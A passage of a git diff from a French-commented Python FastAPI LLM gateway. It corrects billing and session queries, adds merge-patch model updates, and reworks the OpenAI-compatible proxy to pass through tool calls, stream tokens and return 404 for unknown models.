SUM(estimated_cost_usd) as total_cost " - "FROM quota_snapshots WHERE timestamp > ?", + "SELECT SUM(cost_usd) as total_cost " + "FROM token_usage WHERE timestamp > ?", (since_ts,), ) - # Nombre de sessions + # Nombre de sessions : started_at est REAL — comparaison numérique directe. + # (comparer un ISO-8601 à un REAL rendrait 0 en SQLite : nombre < texte). sessions = _safe_query( _SESSION_DB, - "SELECT COUNT(*) as count FROM sessions WHERE start_time > ?", - (datetime.fromtimestamp(since_ts).isoformat(),), + "SELECT COUNT(*) as count FROM sessions WHERE started_at > ?", + (since_ts,), ) - # Tokens totaux depuis token_usage + # Tokens totaux depuis token_usage (inchangé : déjà correct). tokens = _safe_query( _SESSION_DB, "SELECT SUM(prompt_tokens + completion_tokens) as total " @@ -590,29 +700,34 @@ def _get_kpis(since_ts: float) -> dict: (since_ts,), ) + total_cost = _kpi_number(billing, "total_cost") return { - "total_cost_usd": round( - (billing[0]["total_cost"] or 0) if billing else 0, 4 - ), - "total_sessions": (sessions[0]["count"] or 0) if sessions else 0, - "total_tokens": (tokens[0]["total"] or 0) if tokens else 0, + "total_cost_usd": round(total_cost, 4) if total_cost is not None else None, + "total_sessions": _kpi_number(sessions, "count"), + "total_tokens": _kpi_number(tokens, "total"), } -def _get_budget_forecast() -> dict: +def _get_budget_forecast() -> dict | None: """ Projection budgétaire sur 7 jours basée sur la consommation moyenne. + + Agrégation journalière de token_usage (cost_usd) — même source que le KPI + coût et le tableau « Usage par modèle ». None si la requête a échoué : les + prévisions ne doivent pas valoir $0 quand la mesure est cassée. """ # Coût moyen des 7 derniers jours seven_days_ago = time.time() - 7 * 24 * 3600 daily_costs = _safe_query( _SESSION_DB, "SELECT DATE(datetime(timestamp, 'unixepoch')) as day, " - "SUM(estimated_cost_usd) as daily_cost " - "FROM quota_snapshots WHERE timestamp > ? " + "SUM(cost_usd) as daily_cost " + "FROM token_usage WHERE timestamp > ? " "GROUP BY day ORDER BY day", (seven_days_ago,), ) + if daily_costs is None: + return None if not daily_costs: return {"avg_daily_cost": 0, "projected_7d": 0, "projected_30d": 0} diff --git a/api/routes/models_admin.py b/api/routes/models_admin.py index 7fa9b83..c03002e 100644 --- a/api/routes/models_admin.py +++ b/api/routes/models_admin.py @@ -6,19 +6,19 @@ """ import logging + from fastapi import APIRouter, HTTPException from pydantic import BaseModel -from typing import Optional from core.models_db import ( + get_all_api_keys, + get_model, + get_provider, + get_subscriptions, + upsert_api_key, upsert_model, upsert_provider, - upsert_api_key, upsert_subscription, - get_model, - get_provider, - get_all_api_keys, - get_subscriptions ) logger = logging.getLogger(__name__) @@ -33,60 +33,61 @@ class ModelUpdateBody(BaseModel): id: str provider_id: str - display_name: Optional[str] = None - status: Optional[str] = "active" - tier: Optional[str] = None - context_input: Optional[int] = None - context_output: Optional[int] = None - cost_input_per_m: Optional[float] = None - cost_output_per_m: Optional[float] = None - cost_cached_per_m: Optional[float] = None - currency: Optional[str] = "USD" - supports_thinking: Optional[int] = 0 - supports_tools: Optional[int] = 0 - supports_vision: Optional[int] = 0 - supports_audio: Optional[int] = 0 - supports_json_mode: Optional[int] = 0 - supports_streaming: Optional[int] = 0 - supports_search_grounding: Optional[int] = 0 - speciality: Optional[str] = None - recommended_use: Optional[str] = None - notes: Optional[str] = None + display_name: str | None = None + status: str | None = "active" + tier: str | None = None + routing_tier: str | None = None + context_input: int | None = None + context_output: int | None = None + cost_input_per_m: float | None = None + cost_output_per_m: float | None = None + cost_cached_per_m: float | None = None + currency: str | None = "USD" + supports_thinking: int | None = 0 + supports_tools: int | None = 0 + supports_vision: int | None = 0 + supports_audio: int | None = 0 + supports_json_mode: int | None = 0 + supports_streaming: int | None = 0 + supports_search_grounding: int | None = 0 + speciality: str | None = None + recommended_use: str | None = None + notes: str | None = None class ProviderUpdateBody(BaseModel): id: str name: str - type: Optional[str] = "unknown" - api_endpoint: Optional[str] = None - auth_method: Optional[str] = None - confidentiality: Optional[str] = "non confidentiel" - cascade_priority: Optional[float] = 5.0 - notes: Optional[str] = None + type: str | None = "unknown" + api_endpoint: str | None = None + auth_method: str | None = None + confidentiality: str | None = "non confidentiel" + cascade_priority: float | None = 5.0 + notes: str | None = None class ApiKeyUpdateBody(BaseModel): id: str provider_id: str env_var: str - project_name: Optional[str] = None - key_type: Optional[str] = "free" - quota_rpm: Optional[int] = None - quota_rpd: Optional[int] = None - quota_tpm: Optional[int] = None - status: Optional[str] = "active" + project_name: str | None = None + key_type: str | None = "free" + quota_rpm: int | None = None + quota_rpd: int | None = None + quota_tpm: int | None = None + status: str | None = "active" class SubscriptionUpdateBody(BaseModel): id: str name: str - cost_monthly_usd: Optional[float] = 0.0 - rolling_window_hours: Optional[int] = 24 - hourly_token_limit: Optional[int] = None - monthly_token_limit: Optional[int] = None - estimated_messages_limit: Optional[int] = None - advantages: Optional[str] = None - recommended_use: Optional[str] = None + cost_monthly_usd: float | None = 0.0 + rolling_window_hours: int | None = 24 + hourly_token_limit: int | None = None + monthly_token_limit: int | None = None + estimated_messages_limit: int | None = None + advantages: str | None = None + recommended_use: str | None = None # ────────────────────────────────────────────────────────────────── @@ -95,12 +96,24 @@ class SubscriptionUpdateBody(BaseModel): @router.post("/api/models/update") def route_update_model(body: ModelUpdateBody): - """Met à jour ou crée un modèle dans models_registry.db.""" + """ + Met à jour ou crée un modèle dans models_registry.db. + + Sémantique merge-patch : les champs non fournis (None) sont repris du modèle + existant plutôt que remis à leur valeur par défaut — l'INSERT OR REPLACE + d'upsert_model effaçait sinon routing_tier (et ttft_ms, notes…) à chaque + édition partielle depuis l'IHM (bug de la même famille que #T160). + """ try: - success = upsert_model(body.id, **body.dict()) + # Base = ligne existante complète (préserve aussi les colonnes hors body + # comme ttft_ms/throughput_tps), surchargée par les champs réellement fournis. + provided = {k: v for k, v in body.dict().items() if v is not None} + existing = get_model(body.id) or {} + merged = {**existing, **provided} + success = upsert_model(body.id, **merged) if not success: raise HTTPException(status_code=500, detail="Échec de l'écriture en base de données.") - + # Mettre à jour l'export passif pricing_strategy.json (rétrocompatibilité) try: from core.models_db import export_to_pricing_json @@ -134,7 +147,7 @@ def route_update_key(body: ApiKeyUpdateBody): success = upsert_api_key(body.id, **body.dict()) if not success: raise HTTPException(status_code=500, detail="Échec de l'écriture en base de données.") - + # Rafraîchir les quotas temps réel pour cette clé try: from core.quota_collector import refresh_all_quotas @@ -155,7 +168,7 @@ def route_update_subscription(body: SubscriptionUpdateBody): success = upsert_subscription(body.id, **body.dict()) if not success: raise HTTPException(status_code=500, detail="Échec de l'écriture en base de données.") - + # Mettre à jour l'export passif pricing_strategy.json (rétrocompatibilité) try: from core.models_db import export_to_pricing_json diff --git a/api/routes/observability.py b/api/routes/observability.py index 02ef84c..e580a56 100644 --- a/api/routes/observability.py +++ b/api/routes/observability.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ api/routes/observability.py — Observabilité du moteur (Phase 2, item 14). diff --git a/api/routes/openai_proxy.py b/api/routes/openai_proxy.py index 2264c3e..e4b4344 100644 --- a/api/routes/openai_proxy.py +++ b/api/routes/openai_proxy.py @@ -13,21 +13,41 @@ POST /v1/chat/completions — Complétion standard + streaming SSE GET /v1/providers — Extension: état des providers + circuit breakers -Format retourné : 100% compatible OpenAI API v1 (validé avec Cline, Continue.dev). +Format retourné : compatible OpenAI API v1 (validé avec Cline, Continue.dev). + +Tool-calling : `tools` et `tool_choice` sont transmis au provider, et les +`tool_calls` renvoyés par le modèle ressortent au format OpenAI avec +`finish_reason: "tool_calls"` (non-streaming ET streaming). Les providers CLI +(Antigravity, Claude CLI) ignorent `tools` et répondent en prose : un +avertissement est journalisé quand le catalogue indique `supports_tools = 0`. + + Streaming : `stream=true` émet un vrai flux token-par-token (SSE) pour le + texte, via `provider.generate_stream()` relayé par un pont threadpool (la + boucle d'événements n'est jamais bloquée). Les requêtes contenant `tools` + restent sur le chemin bufferisé : le flux ne portant que du texte, un + appel d'outil tronqué en morceaux serait ininterprétable par le client. + +Limites connues (un agent de code comme OpenCode/Cline s'y heurtera) : + - `/v1/models` n'expose pas les options par modèle (reasoning effort, + thinking mode, température imposée). + - `tool_choice` n'est relayé que par les providers OpenAI-compatibles ; les + providers natifs (Gemini natif, Anthropic natif) reçoivent `tools` mais + pas la contrainte de choix. Auteur : Antigravity IDE + Axel — 2026-06-15 (reconstruit depuis .pyc V12) """ +import asyncio import json -import time import logging -import asyncio +import time import uuid -from typing import Optional, List, Dict, Any +from typing import Any from fastapi import APIRouter, HTTPException -from fastapi.responses import StreamingResponse, JSONResponse +from fastapi.responses import JSONResponse, StreamingResponse from pydantic import BaseModel, Field +from starlette.concurrency import iterate_in_threadpool logger = logging.getLogger(__name__) @@ -37,36 +57,295 @@ # ── Modèles Pydantic ────────────────────────────────────────────────────────── +class ModeleInconnuError(Exception): + """Le `model` demandé ne correspond ni à un provider enregistré, ni à un tier.""" + + +# Tiers de routage acceptés comme valeur de `model`, alias inclus (cf. +# LLMGateway._resolve_tier_models). La liste est en dur ici parce que +# _resolve_tier_models rabat silencieusement tout nom inconnu sur "moyen" : elle +# ne peut donc pas servir à distinguer un tier d'un modèle qui n'existe pas. +_TIERS_ROUTAGE = { + "leger", "moyen", "fort", "automatique", + "flash", "standard", "reasoner", "pro", "local", "antigravity", +} + +# Étiquettes du transcript de repli (providers qui ignorent `messages`). +_ETIQUETTES_ROLE = { + "user": "Utilisateur", + "assistant": "Assistant", + "tool": "Résultat d'outil", + "function": "Résultat d'outil", +} + + class ChatMessage(BaseModel): """Message au format OpenAI Chat.""" role: str - content: Optional[str] = None - name: Optional[str] = None - tool_calls: Optional[List[Dict[str, Any]]] = None - tool_call_id: Optional[str] = None + # `content` peut être une chaîne OU une liste de parts (format multimodal + # OpenAI, envoyé par plusieurs IDEs). Le typer `str | None` faisait échouer + # la requête en 422 avant même d'atteindre le moteur. + content: str | list[dict[str, Any]] | None = None + name: str | None = None + tool_calls: list[dict[str, Any]] | None = None + tool_call_id: str | None = None class ChatCompletionRequest(BaseModel): """Requête de completion au format OpenAI.""" model: str = Field(default="deepseek-chat", description="Nom du modèle / provider") - messages: List[ChatMessage] - temperature: Optional[float] = 0.7 - max_tokens: Optional[int] = None - stream: Optional[bool] = False - tools: Optional[List[Dict[str, Any]]] = None - tool_choice: Optional[Any] = None - top_p: Optional[float] = None - frequency_penalty: Optional[float] = None - presence_penalty: Optional[float] = None - stop: Optional[Any] = None - n: Optional[int] = 1 + messages: list[ChatMessage] + temperature: float | None = 0.7 + max_tokens: int | None = None + stream: bool | None = False + tools: list[dict[str, Any]] | None = None + tool_choice: Any | None = None + top_p: float | None = None + frequency_penalty: float | None = None + presence_penalty: float | None = None + stop: Any | None = None + n: int | None = 1 # ── Helpers ─────────────────────────────────────────────────────────────────── +def _texte_du_contenu(content: Any) -> str: + """Aplatit un `content` OpenAI (chaîne, ou liste de parts multimodales).""" + if content is None: + return "" + if isinstance(content, str): + return content + morceaux = [] + for part in content: + if isinstance(part, str): + morceaux.append(part) + elif isinstance(part, dict) and part.get("type") == "text": + morceaux.append(part.get("text") or "") + # Les parts non textuelles (image_url…) sont ignorées : aucun provider + # du moteur ne les consomme par ce chemin. + return "\n".join(m for m in morceaux if m) + + +def _convertir_messages(messages: list[ChatMessage]) -> tuple[str, str, list[dict]]: + """ + Traduit la conversation entrante vers ce qu'attendent les providers. + + Avant, TOUS les messages non-`system` (user, assistant ET tool) étaient + concaténés avec des `\\n` en un seul bloc passé comme `user_prompt` : le + modèle ne pouvait plus distinguer ses propres réponses de celles de + l'utilisateur, et un historique multi-tours perdait tout son sens. + + Retourne : + - `system_prompt` : concaténation des messages `system` ; + - `transcript` : repli textuel pour les providers qui ignorent `messages` + (GeminiCLIProvider, ClaudeCLIProvider…), avec les rôles ÉTIQUETÉS ; + - `messages_provider` : la liste OpenAI complète, message système inclus — + c'est la convention déjà utilisée par `agents/executor.py` pour sa + boucle ReAct multi-tours. + """ + system_parts: list[str] = [] + tours: list[ChatMessage] = [] + + for msg in messages: + if msg.role.lower() == "system": + texte = _texte_du_contenu(msg.content) + if texte: + system_parts.append(texte) + else: + tours.append(msg) + + system_prompt = "\n".join(system_parts).strip() + + lignes_transcript = [] + messages_provider: list[dict] = [] + if system_prompt: + messages_provider.append({"role": "system", "content": system_prompt}) + + for msg in tours: + role = msg.role.lower() + texte = _texte_du_contenu(msg.content) + + entree: dict[str, Any] = {"role": role, "content": texte} + if msg.name: + entree["name"] = msg.name + if msg.tool_calls: + entree["tool_calls"] = msg.tool_calls + if msg.tool_call_id: + entree["tool_call_id"] = msg.tool_call_id + messages_provider.append(entree) + + etiquette = _ETIQUETTES_ROLE.get(role, role.capitalize()) + if texte: + lignes_transcript.append(f"{etiquette} : {texte}") + elif msg.tool_calls: + # Message d'assistant qui ne porte QUE des appels d'outils. + noms = [ + (tc.get("function") or {}).get("name", "?") + for tc in msg.tool_calls + if isinstance(tc, dict) + ] + lignes_transcript.append(f"{etiquette} : [appel d'outil {', '.join(noms)}]") + + return system_prompt, "\n\n".join(lignes_transcript).strip(), messages_provider + + +def _resoudre_provider(gw, model_name: str): + """ + Résout le champ `model` en provider utilisable. + + Deux corrections par rapport à l'accès brut `gw.providers[model_name]` : + + 1. On passe par `get_provider()` / `get_provider_for_tier()`, donc par le + wrapping FallbackProvider — Circuit Breaker, retry 429, cascade et cache + sémantique. C'est exactement le contournement corrigé sous #T212 côté + Planner, resté ouvert ici alors que le docstring du module annonce que + « le routage dynamique V12 est appliqué automatiquement ». + 2. Un modèle inconnu lève `ModeleInconnuError` au lieu d'être servi par le + PREMIER provider du registre — `next(iter(gw.providers.values()))` — + tout en étant étiqueté du nom demandé dans la réponse. La réponse était + alors silencieusement produite par un autre modèle que celui facturé et + affiché à l'utilisateur. + + Note : `get_provider()` normalise déjà la casse (`name.lower()`), là où le + test d'appartenance précédent était sensible à la casse. + """ + if model_name.lower() in _TIERS_ROUTAGE: + from core.llm_gateway import load_config + _, provider = gw.get_provider_for_tier(model_name, load_config()) + return provider + try: + return gw.get_provider(model_name) + except ValueError as e: + raise ModeleInconnuError(str(e)) from e + + +def _avertir_si_outils_non_supportes(model_name: str) -> None: + """ + Journalise un avertissement si le modèle demandé est catalogué sans support + des outils (`supports_tools = 0` dans models_registry.db). + + On n'échoue PAS sur ce signal : le catalogue peut être incomplet, et les + providers CLI (Antigravity, Claude CLI) ignorent `tools` de toute façon en + retournant de la prose. Mieux vaut une trace exploitable côté moteur qu'un + refus sur une métadonnée qui n'est pas la source de vérité. + """ + if model_name.lower() in _TIERS_ROUTAGE: + return # un tier n'est pas un identifiant de modèle du catalogue + try: + from core.models_db import get_model + modele = get_model(model_name) + except Exception as e: + logger.debug(f"[OPENAI_PROXY] Catalogue indisponible pour '{model_name}' : {e}") + return + if modele and not modele.get("supports_tools"): + logger.warning( + f"[OPENAI_PROXY] Le client a envoyé des outils mais le modèle " + f"'{model_name}' est catalogué sans support du tool-calling " + f"(supports_tools=0) : le modèle répondra probablement en texte." + ) + + +def _erreur_openai(status: int, message: str, code: str, param: str | None = None) -> JSONResponse: + """Erreur au format de l'API OpenAI, que les clients savent afficher.""" + return JSONResponse( + status_code=status, + content={"error": { + "message": message, + "type": "invalid_request_error", + "param": param, + "code": code, + }}, + ) + + +def _normaliser_tool_calls(tool_calls: list | None) -> list | None: + """ + Traduit les appels d'outils des providers vers le format attendu par les + clients OpenAI. + + Deux formes circulent dans le moteur : + + - **OpenAI** — `{id, type: "function", function: {name, arguments}}`, produit + par `openai_compat_provider`, `LMStudioProvider` et + `gemini_native._translate_tool_calls`. Il y manque `index`, dont les + clients se servent pour recoller les fragments en streaming. + - **Anthropic** — `{type: "tool_use", id, name, input}`, renvoyé tel quel par + `AnthropicNativeProvider._extract_content` (`{"tool_calls": blocs}`). Sans + traduction, le client recevrait un appel de type `tool_use`, sans nom + d'outil et avec des arguments vides, tout en voyant + `finish_reason: "tool_calls"` — donc un appel inexploitable. + """ + if not tool_calls: + return None + normalises = [] + for i, tc in enumerate(tool_calls): + if not isinstance(tc, dict): + continue + + if tc.get("type") == "tool_use" or ("input" in tc and "function" not in tc): + # Bloc Anthropic : le nom est à la racine et les arguments sont dans + # `input` (un dict, pas une chaîne JSON). + entree = { + "index": i, + "id": tc.get("id") or f"call_{uuid.uuid4().hex[:12]}", + "type": "function", + "function": { + "name": tc.get("name", ""), + "arguments": tc.get("input"), + }, + } + else: + entree = dict(tc) + entree.setdefault("index", i) + entree.setdefault("type", "function") + entree.setdefault("id", f"call_{uuid.uuid4().hex[:12]}") + entree["function"] = dict(entree.get("function") or {}) + + fonction = entree["function"] + # `arguments` DOIT être une chaîne JSON côté OpenAI ; les providers + # natifs renvoient un dict. + arguments = fonction.get("arguments") + if isinstance(arguments, (dict, list)): + fonction["arguments"] = json.dumps(arguments, ensure_ascii=False) + elif arguments is None: + fonction["arguments"] = "{}" + normalises.append(entree) + return normalises or None + + +def _extraire_reponse(brut: Any) -> tuple[str, list | None]: + """ + Sépare le texte et les appels d'outils de ce que retourne un provider. + + Contrat du moteur (openai_compat_provider, gemini_native, LMStudioProvider) : + `generate()` retourne soit une chaîne, soit le `message` OpenAI complet quand + le modèle a décidé d'appeler un outil. + + Ce second cas était écrasé par : + + response_text = response_text.get("content", str(response_text)) + + qui renvoie `None` quand la clé `content` EXISTE avec la valeur `None` — soit + exactement la forme d'un appel d'outil. L'IDE recevait donc la chaîne + littérale "None" à la place de l'appel. + """ + if isinstance(brut, dict): + tool_calls = _normaliser_tool_calls(brut.get("tool_calls")) + contenu = brut.get("content") + if contenu is None and not tool_calls: + # Dict sans contenu ni outil : on sérialise plutôt que de perdre l'info. + return str(brut), None + return (contenu or ""), tool_calls + return ("" if brut is None else str(brut)), None + + def _make_completion_response(model: str, content: str, finish_reason: str = "stop", - input_tokens: int = 0, output_tokens: int = 0) -> dict: + input_tokens: int = 0, output_tokens: int = 0, + tool_calls: list | None = None) -> dict: """Construit une réponse OpenAI-compatible (non-streaming).""" + message: dict[str, Any] = {"role": "assistant", "content": content or None} + if tool_calls: + message["tool_calls"] = tool_calls return { "id": f"chatcmpl-{uuid.uuid4().hex[:12]}", "object": "chat.completion", @@ -74,7 +353,7 @@ def _make_completion_response(model: str, content: str, finish_reason: str = "st "model": model, "choices": [{ "index": 0, - "message": {"role": "assistant", "content": content}, + "message": message, "finish_reason": finish_reason, }], "usage": { @@ -85,8 +364,16 @@ def _make_completion_response(model: str, content: str, finish_reason: str = "st } -def _make_stream_chunk(model: str, delta_content: str, finish_reason: Optional[str] = None) -> str: +def _make_stream_chunk(model: str, delta_content: str, finish_reason: str | None = None, + tool_calls: list | None = None, usage: dict | None = None) -> str: """Formate un chunk SSE compatible OpenAI streaming.""" + delta: dict[str, Any] = {} + if delta_content: + delta["content"] = delta_content + if tool_calls: + # Les clients recollent les fragments par `index` (posé par + # _normaliser_tool_calls) ; ici tout arrive d'un coup. + delta["tool_calls"] = tool_calls chunk = { "id": f"chatcmpl-{uuid.uuid4().hex[:12]}", "object": "chat.completion.chunk", @@ -94,13 +381,66 @@ def _make_stream_chunk(model: str, delta_content: str, finish_reason: Optional[s "model": model, "choices": [{ "index": 0, - "delta": {"content": delta_content} if delta_content else {}, + "delta": delta, "finish_reason": finish_reason, }], } + if usage: + # Usage réel propagé quand le provider le remonte (stream_options + # include_usage) ; absent sinon, comme avant. + chunk["usage"] = usage return f"data: {json.dumps(chunk, ensure_ascii=False)}\n\n" +async def _streamer_texte(provider, model_name: str, system_prompt: str, transcript: str, + messages_provider: list[dict], temperature: float | None, + max_tokens: int | None): + """ + Générateur SSE token-par-token (texte uniquement) pour `stream=true`. + + `provider.generate_stream()` est un générateur SYNCHRONE : itéré nu dans la + route async, il gèlerait la boucle d'événements de toute l'application + (tous les autres clients bloqués pendant la génération). Le pont + `iterate_in_threadpool` délègue chaque `next()` à un thread du pool : la + boucle d'événements reste libre, chaque token part dès qu'il est produit. + + Une exception survenant APRÈS le premier token ne peut plus être + transformée en réponse d'erreur HTTP (les en-têtes sont déjà partis) : on + termine le flux proprement (chunk final + [DONE]) et on journalise — + l'erreur n'est pas avalée en silence. + """ + usage_reel = None + tokens_emis = 0 + try: + async for item in iterate_in_threadpool(provider.generate_stream( + system_prompt, transcript, + messages=messages_provider, + temperature=temperature, + max_tokens=max_tokens, + )): + token = (item or {}).get("token") or "" + if token: + tokens_emis += 1 + yield _make_stream_chunk(model_name, token) + if item.get("usage"): + usage_reel = item["usage"] + if item.get("done"): + break + except Exception as e: + # En-têtes HTTP déjà partis : impossible de répondre en erreur HTTP. On + # ferme le flux proprement pour que le client ne reste pas en attente + # d'un chunk qui ne viendra jamais. + logger.error( + f"[OPENAI_PROXY] Streaming interrompu après {tokens_emis} token(s) " + f"émis : {e}" + ) + yield _make_stream_chunk(model_name, "", finish_reason="stop", usage=usage_reel) + yield "data: [DONE]\n\n" + return + yield _make_stream_chunk(model_name, "", finish_reason="stop", usage=usage_reel) + yield "data: [DONE]\n\n" + + # ── Endpoints ───────────────────────────────────────────────────────────────── @router.get("/v1/models") @@ -120,6 +460,16 @@ async def list_models(): "created": int(time.time()), "owned_by": "moteur-agents", }) + # Les tiers de routage sont des valeurs de `model` valides (cf. + # _resoudre_provider) : sans eux dans cette liste, ils resteraient + # indécouvrables, et le message de la 404 « voir /v1/models » serait faux. + for tier in ("leger", "moyen", "fort", "automatique"): + models_list.append({ + "id": tier, + "object": "model", + "created": int(time.time()), + "owned_by": "moteur-agents (tier de routage)", + }) return {"object": "list", "data": models_list} except Exception as e: logger.error(f"[OPENAI_PROXY] list_models erreur : {e}") @@ -135,17 +485,9 @@ async def chat_completions(request: ChatCompletionRequest): Le champ `model` de la requête est utilisé comme nom de provider dans le LLMGateway. Ex: "deepseek-chat", "gemini-3.5-flash-free", etc. """ - # Construire le prompt depuis les messages - system_prompt = "" - user_parts = [] - for msg in request.messages: - if msg.role.lower() == "system": - system_prompt += (msg.content or "") + "\n" - else: - user_parts.append(msg.content or "") - user_prompt = "\n".join(user_parts).strip() + system_prompt, transcript, messages_provider = _convertir_messages(request.messages) - if not user_prompt: + if not transcript: raise HTTPException(status_code=400, detail="Aucun message utilisateur fourni.") model_name = request.model @@ -153,43 +495,92 @@ async def chat_completions(request: ChatCompletionRequest): try: from core.llm_gateway import LLMGateway gw = LLMGateway() - # Résoudre le provider (nom direct ou tier) - try: - provider = next(iter(gw.providers.values())) # fallback - if model_name in gw.providers: - provider = gw.providers[model_name] - except Exception: - pass - - logger.info(f"[OPENAI_PROXY] Requête → model={model_name}, stream={request.stream}") - - # Appel LLM dans un thread non-bloquant - response_text = await asyncio.to_thread( + provider = _resoudre_provider(gw, model_name) + + # Outils : transmis au provider seulement s'il y en a. Les providers + # OpenAI-compatibles les recopient dans leur payload ; gemini_native + # traduit les function declarations. Avant, `tools`/`tool_choice` + # étaient déclarés par le schéma puis silencieusement jetés. + options_outils: dict[str, Any] = {} + if request.tools: + options_outils["tools"] = request.tools + if request.tool_choice is not None: + options_outils["tool_choice"] = request.tool_choice + _avertir_si_outils_non_supportes(model_name) + + logger.info( + f"[OPENAI_PROXY] Requête → model={model_name}, stream={request.stream}, " + f"{len(messages_provider)} message(s), {len(request.tools or [])} outil(s)" + ) + + # ── Streaming réel token-par-token (texte uniquement) ── + # Le flux ne porte que des deltas de contenu : une requête AVEC `tools` + # reste sur le chemin bufferisé ci-dessous, car un appel d'outil tronqué + # en morceaux serait ininterprétable par le client. + if request.stream and not request.tools: + logger.info("[OPENAI_PROXY] Chemin streaming token-par-token (texte)") + return StreamingResponse( + _streamer_texte( + provider, model_name, + system_prompt or "Tu es un assistant IA expert.", + transcript, messages_provider, + temperature=request.temperature, + max_tokens=request.max_tokens, + ), + media_type="text/event-stream", + ) + + # ── Chemin bufferisé : non-streaming, ou outils en streaming ── + logger.info("[OPENAI_PROXY] Chemin bufferisé (non-streaming ou outils en streaming)") + + # Appel LLM dans un thread non-bloquant. `messages` porte la conversation + # avec ses rôles ; `system_prompt`/`transcript` restent le repli pour les + # providers qui ne consomment pas `messages` (CLI notamment), et servent + # aussi de clé au cache sémantique du FallbackProvider. + brut = await asyncio.to_thread( provider.generate, - system_prompt.strip() or "Tu es un assistant IA expert.", - user_prompt, + system_prompt or "Tu es un assistant IA expert.", + transcript, + messages=messages_provider, temperature=request.temperature, max_tokens=request.max_tokens, + **options_outils, ) - if isinstance(response_text, dict): - response_text = response_text.get("content", str(response_text)) + response_text, tool_calls = _extraire_reponse(brut) + finish_reason = "tool_calls" if tool_calls else "stop" if request.stream: - # Streaming SSE : envoyer la réponse complète en un seul chunk + # Outils en streaming : la réponse complète (appel d'outil compris) + # part en un seul chunk — le flux ne porte que du texte. async def _stream_gen(): - yield _make_stream_chunk(model_name, str(response_text)) - yield _make_stream_chunk(model_name, "", finish_reason="stop") + yield _make_stream_chunk(model_name, response_text, tool_calls=tool_calls) + yield _make_stream_chunk(model_name, "", finish_reason=finish_reason) yield "data: [DONE]\n\n" return StreamingResponse(_stream_gen(), media_type="text/event-stream") else: - tokens_in = max(1, len(user_prompt.split())) - tokens_out = max(1, len(str(response_text).split())) + # Comptage approximatif (mots), inchangé — le comptage réel de tokens + # reste porté par les providers via core.token_tracker. + tokens_in = max(1, len((system_prompt + "\n" + transcript).split())) + tokens_out = max(1, len(response_text.split())) return JSONResponse(_make_completion_response( - model_name, str(response_text), - input_tokens=tokens_in, output_tokens=tokens_out + model_name, response_text, + finish_reason=finish_reason, + input_tokens=tokens_in, output_tokens=tokens_out, + tool_calls=tool_calls, )) + except ModeleInconnuError as e: + # Doit précéder le `except Exception` ci-dessous, sinon un modèle inconnu + # ressortirait en 500 au lieu d'une 404 exploitable par le client. + logger.warning(f"[OPENAI_PROXY] Modèle inconnu demandé : {model_name} ({e})") + return _erreur_openai( + 404, + f"Le modèle '{model_name}' n'existe pas dans ce moteur. " + f"Voir GET /v1/models pour la liste des modèles et tiers disponibles.", + code="model_not_found", + param="model", + ) except Exception as e: logger.error(f"[OPENAI_PROXY] chat_completions erreur : {e}") raise HTTPException(status_code=500, detail=str(e)) @@ -202,8 +593,8 @@ async def get_providers_status(): Utile pour le monitoring depuis l'HMI V12. """ try: - from core.llm_gateway import LLMGateway from core.llm.circuit_breaker import CircuitBreaker + from core.llm_gateway import LLMGateway gw = LLMGateway() providers_list = [] for name, provider in gw.providers.items(): diff --git a/api/routes/quotas.py b/api/routes/quotas.py index 3fe4f67..1041181 100644 --- a/api/routes/quotas.py +++ b/api/routes/quotas.py @@ -9,6 +9,7 @@ """ import logging + from fastapi import APIRouter, HTTPException logger = logging.getLogger(__name__) @@ -117,11 +118,23 @@ def get_access_map_model(model_id: str): @router.get("/api/gcp-billing") async def get_gcp_billing(): - """Retourne la facturation GCP (Gemini API) de la période courante.""" + """ + Retourne l'état de facturation GCP (comptes, projets, APIs IA activées) + via OAuth2 (core.gcp_oauth_client, refresh_token permanent — pas de + scraping). Cassé depuis son extraction de gui_server.py : importait + `core.gcp_oauth.get_gcp_billing_data`, un module qui n'a jamais existé + (le vrai code est `core.gcp_oauth_client.GCPOAuthClient.get_full_billing_info`). + + Note : Cloud Billing API renvoie le statut des comptes de facturation et + les projets liés, PAS un montant de dépense en direct — pour un vrai + chiffre en $, il faut activer l'export de facturation BigQuery côté GCP. + """ try: - from core.gcp_oauth import get_gcp_billing_data - return await get_gcp_billing_data() - except ImportError: - return {"error": "Module gcp_oauth non disponible", "billing": {}} + import asyncio as _asyncio + + from core.gcp_oauth_client import get_gcp_client + client = get_gcp_client() + return await _asyncio.to_thread(client.get_full_billing_info) except Exception as e: + logger.error(f"[GCP BILLING] Erreur : {e}") raise HTTPException(status_code=500, detail=str(e)) diff --git a/api/routes/setup.py b/api/routes/setup.py index bd9da26..0c2951a 100644 --- a/api/routes/setup.py +++ b/api/routes/setup.py @@ -17,6 +17,8 @@ from fastapi import APIRouter +from core.ha_token import get_ha_token # [T239] lecture centralisée du token HA + logger = logging.getLogger(__name__) router = APIRouter(prefix="/api/setup", tags=["Installation"]) @@ -36,7 +38,6 @@ ("MINIMAX_API_KEY", "MiniMax"), ("DEEPINFRA_API_KEY", "DeepInfra"), ("ZHIPU_API_KEY", "Zhipu / GLM"), - ("GITHUB_TOKEN", "GitHub Models"), ] @@ -236,13 +237,13 @@ async def setup_diagnostics(): # ── 5. Home Assistant ───────────────────────────────────────────── ha_checks = [] - ha_token = os.environ.get("HASS_TOKEN") or os.environ.get("HA_TOKEN") + ha_token = get_ha_token() ha_url = os.environ.get("HASS_URL") or os.environ.get("HA_URL") if not ha_token: ha_checks.append(_check( "ha_token", "Token Home Assistant", "warn", "Absent : les commandes domotiques et l'assistant vocal sont hors service.", - "Créer un token longue durée dans HA (profil utilisateur) et le poser dans HASS_TOKEN.", + "Créer un token longue durée dans HA (profil utilisateur) et le poser dans HASS_TOKEN (ou HA_TOKEN).", )) else: ha_checks.append(_check("ha_token", "Token Home Assistant", "ok", "Configuré.")) diff --git a/api/routes/streaming.py b/api/routes/streaming.py index df08ea2..1bf5104 100644 --- a/api/routes/streaming.py +++ b/api/routes/streaming.py @@ -173,7 +173,9 @@ async def _execute_stream_generator( # ── Routing (domotique / IDE) ── router_instance = state.get_shared_router() - initial_payload, starting_agent = await router_instance.analyze_request(user_prompt) + initial_payload, starting_agent = await router_instance.analyze_request( + user_prompt, session_id=session_id + ) routing_type = initial_payload.metadata.get("routing_type", "default") initial_payload.metadata["request_source"] = { diff --git a/api/routes/swarm.py b/api/routes/swarm.py index db57626..14fc7d1 100644 --- a/api/routes/swarm.py +++ b/api/routes/swarm.py @@ -5,15 +5,15 @@ des workers distants avec persistance dans workers.json. """ -import os import json import logging +import os + from fastapi import 